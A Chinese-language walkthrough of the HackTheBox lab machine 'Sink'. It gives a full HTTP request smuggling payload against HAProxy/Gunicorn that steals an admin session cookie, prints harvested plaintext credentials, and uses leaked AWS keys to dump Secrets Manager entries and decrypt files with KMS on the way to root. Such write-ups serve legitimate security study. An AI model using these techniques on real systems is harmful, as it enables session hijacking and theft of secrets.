HackTheBox - Sink

本文最后更新于：2022年6月6日 下午

insane难度初体验 & HTTP Smuggle攻击实操 & 云渗透学习

0x01 信息收集

1
nmap -sC -sV -v 10.10.10.22

发现端口22、3000、5000开启

image-20210924214339576

访问3000端口，可以看到为某代码托管平台：

image-20210924214601390

目前没有用户名和密码，但是explore可以发现存在的三个账户信息：

image-20210924215455065

目光转向5000端口，注册并进行登录：

image-20210924214613580

对该网站进行探索，发现的交互点如下：

  1. 首页最底下的评论功能：

image-20210924215523796

  1. 首页的搜索功能：

image-20210924215537392

  1. 笔记功能

image-20210924215601360

另外还能发现admin账户的信息：

image-20210924220338832

对这些存在交互的地方测试XSS，SQLi，SSTI，未果。

转变思路，先抓个包看看，可以发现存在的服务器信息，可以发现后端是gunicorn，然后代理使用了haproxy：

image-20210924220539045

0x02 突破口

Google一下，可以看到HAProxy存在HTTP走私漏洞：

image-20210927161101414

对那篇文章进行总结，于此题而言，攻击原理和要点如下：

  1. 正常情况下，对TE(Transfer-Encoding)头的优先级高于CL(Content-Length)头

  2. 在特殊字符\v的干扰下，haproxy没能识别出TE头，故遵照CL头的指示将构造的数据包中的所有内容发给了后端即Gunicorn。

  3. Gunicorn不受\v的影响，因而将按TE头的指示以chunked的方式处理HTTP数据包。这种不一致造成了HTTP Smuggling攻击。

  4. 在实操过程中，默认的Connection头部值为close，我们需要将其改成keep-alive。这样会有更大概率接到admin用户提交的请求。

实操开始，首先建议在burp中开启对不可打印字符的显示：

image-20210929211007548

然后我们在TE头处插入\v ，方法是先用base64编码，然后在Burp中解码：

1
2
printf \\x0b | base64
#输出 Cw==

插入\v之后继续构造请求，步骤如下：

  1. 按chunked方式构造请求，注意结束块处是0\r\n\r\n
  2. 将一个正常的数据包贴在下面，msg留空来接收数据
  3. 更改第一个数据包的Connection头部值为keep-alive
  4. 更改第二个数据包的CL头为一个较大的值，不然可能拿不到Cookie

构造完成的数据包如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Length: 793
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.225:5000/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gitea=4218005f51d57007; _csrf=yEJpf7F8mA2tBXrSAu9dix741N86MTYzMjg4MzMxMjczNzA0NTY5MQ; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YVPnOg.hkrTsumKBoyp1jpSwxnWouyrNug
Connection: keep-alive
Transfer-Encoding: chunked

8
msg=test
0

POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Length: 300
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.225:5000/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gitea=4218005f51d57007; _csrf=yEJpf7F8mA2tBXrSAu9dix741N86MTYzMjg4MzMxMjczNzA0NTY5MQ; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YVPnOg.hkrTsumKBoyp1jpSwxnWouyrNug

msg=

image-20210929123824540

发送数据包，拿到Cookie，替换后以admin账户身份登录站点：

image-20210929212909092

在admin的note处可以发现三条凭证信息：

image-20210929124842229

分别如下：

1
2
3
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C

第二条记录可以让我们登录进3000端口的gitea。

在Explore中，可以看到该代码托管平台中存在的4个repo：

image-20210929130214716

其中，在Key_Management项目下的ec2.php中查看提交的历史记录，可以发现开发人员由于失误上传的私钥文件：

image-20210929131106016

image-20210929213332811

以及aws的access_id和access_secret：

image-20210929144333190

image-20210929144609360

保存私钥，chmod 600 后登录之，成功，拿到user.txt：

image-20210929213539864

0x03 David’s shell

查看一下网络连接状态：

1
2
3
netstat -tulnp #这条命令能够看到docker容器，初步排查后确定这不是我们的关注点

netstat -tulnp | grep 127 # 只看127.0.0.1

image-20210929145011428

可以看到有个4566端口，结合之前我们发现的代码，不难推测上面跑着一个aws服务。

image-20210929150225487

但这个地址有些奇怪，搜一下4566端口，可以发现有个localstack，查找资料后得知这就是一个模拟aws云服务的应用，用于云应用的开发和测试。

image-20210929214848290

然后看下命令，可以发现有aws和awslocal。

aws和awslocal的区别是aws需要指定endpoint，awslocal不用。awslocal会直接和localstack进行对话。

image-20210929150039151

对aws渗透中常见的lambda、cloudwatch、s3api函数进行测试，发现似乎都没开启相应的服务：

1
2
3
awslocal lambda list-functions
awslocal cloudwatch list-dashboards
awslocal s3api list-buckets

image-20210929215654596

由于如上项目与logs有关，使用命令logs模块下的命令对logs进行探索。

如果不清楚命令的话，aws的读命令大多与get、list、describe有关，搜索如下关键字即可快速帮助我们确定命令

1
awslocal logs help| grep -E 'list|get|describe'

image-20210929220227493

使用命令

1
awslocal logs describe-log-groups

可以找到一个log-group

image-20210929163131899

进一步通过该log-group，可以找到一个log-stream

1
awslocal logs describe-log-streams --log-group-name cloudtrail

image-20210929164540284

再进一步查看，得到一些有意思的事件名称：

1
awslocal logs get-log-events --log-group-name cloudtrail --log-stream-name 20201222

image-20210929164646600

Google一下，可以发现和aws的Secrets Manager有关：

image-20210929164714439

同时aws的cli也有该命令

image-20210929164742776

同样地，先看看有用的命令：

1
awslocal secretsmanager help| grep -E 'list|get|describe'

image-20210929220908301

然后使用之前泄露的access_id和access_secret进行配置：

image-20210929163728174

配置之后尝试列出所有的secrets：

1
awslocal secretsmanager list-secrets

image-20210929165058613

之后分别拿到secrets的value值：

1
2
3
awslocal secretsmanager get-secret-value --secret-id 'Jenkins Login'
awslocal secretsmanager get-secret-value --secret-id 'Sink Panel'
awslocal secretsmanager get-secret-value --secret-id 'Jira Support'

image-20210929165327601

对具有登录权限的用户进行查看，发现有root、marcus、david。刚好上面拿到的账号中也有一个david。

image-20210929165428416

使用密码登录，拿到david的shell：

image-20210929223048356

0x04 提权至root

在david家目录的某个文件夹底下能够发现一个servers.enc文件：

image-20210929223318515

那就想着法子解密咯。回到之前的gitea，在Key_Management目录下能够发现有一个keys.php，可以看出它在与aws的kms服务进行交互：

image-20210930112614166

Google一下，可以发现是aws的密钥管理服务，里面可能有我们想要的东西：

image-20210930113055733

回到服务器，查看可用的命令：

1
awslocal kms help| grep -E 'get|describe|list'

image-20210929191913606

首先看下存在的密钥：

1
awslocal kms list-keys

image-20210930113232328

先查看某一密钥的详细信息：

1
awslocal kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac

image-20210929192238621

可以观察到有一Keystate字样，我们需要查找Keystate为Enabled的密钥。

写个简单的shell语句进行查找：

1
for i in $(awslocal kms list-keys | grep KeyId | awk -F\" '{print $4;}'); do awslocal kms describe-key --key-id $i | grep -E 'KeyId|Enabled' ; echo; done;

image-20210929201726591

对State为Enabled状态的key进行查看：

1
2
awslocal kms describe-key --key-id 804125db-bdf1-465a-a058-07fc87c0fad0
awslocal kms describe-key --key-id c5217c17-5675-42f7-a6ec-b5aa9b9dbbde

image-20210929201930968

我们使用第一个命令对得到的文件进行解密。首先使用help命令查看decrypt方法的使用

1
aws kms decrypt help

image-20210929202230740

对着example构造我们的语句即可：

image-20210929202659887

1
awslocal kms decrypt --ciphertext-blob fileb://servers.enc --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --encryption-algorithm RSAES_OAEP_SHA_256

image-20210929202747680

将得到的base64语句解码放进文件里，并使用file命令查看文件类型：

1
2
echo <base64code> | base64 -d > result
file result

image-20210929202955087

解压后继续查看文件类型：

1
2
3
4
mv result result.gz
gzip -d result.gz
ll
file result

image-20210930114528281

继续解压即可拿到密码：

1
2
3
mv result result.tar
tar -xvf result
cat servers.yml

image-20210929203757742

拿到此密码即可登录root用户：

image-20210930114707304

0x05 Summary

这是一个Insane难度的Linux靶机，主要考察内容如下：

  • HTTP Smuggle攻击
  • git利用
  • aws云渗透
Web > 靶场 > HackTheBox
#HackTheBox
HackTheBox - Sink
https://m0ck1ng-b1rd.github.io/2021/12/07/HTB/Sink/
作者
何语灵
发布于
2021年12月7日
许可协议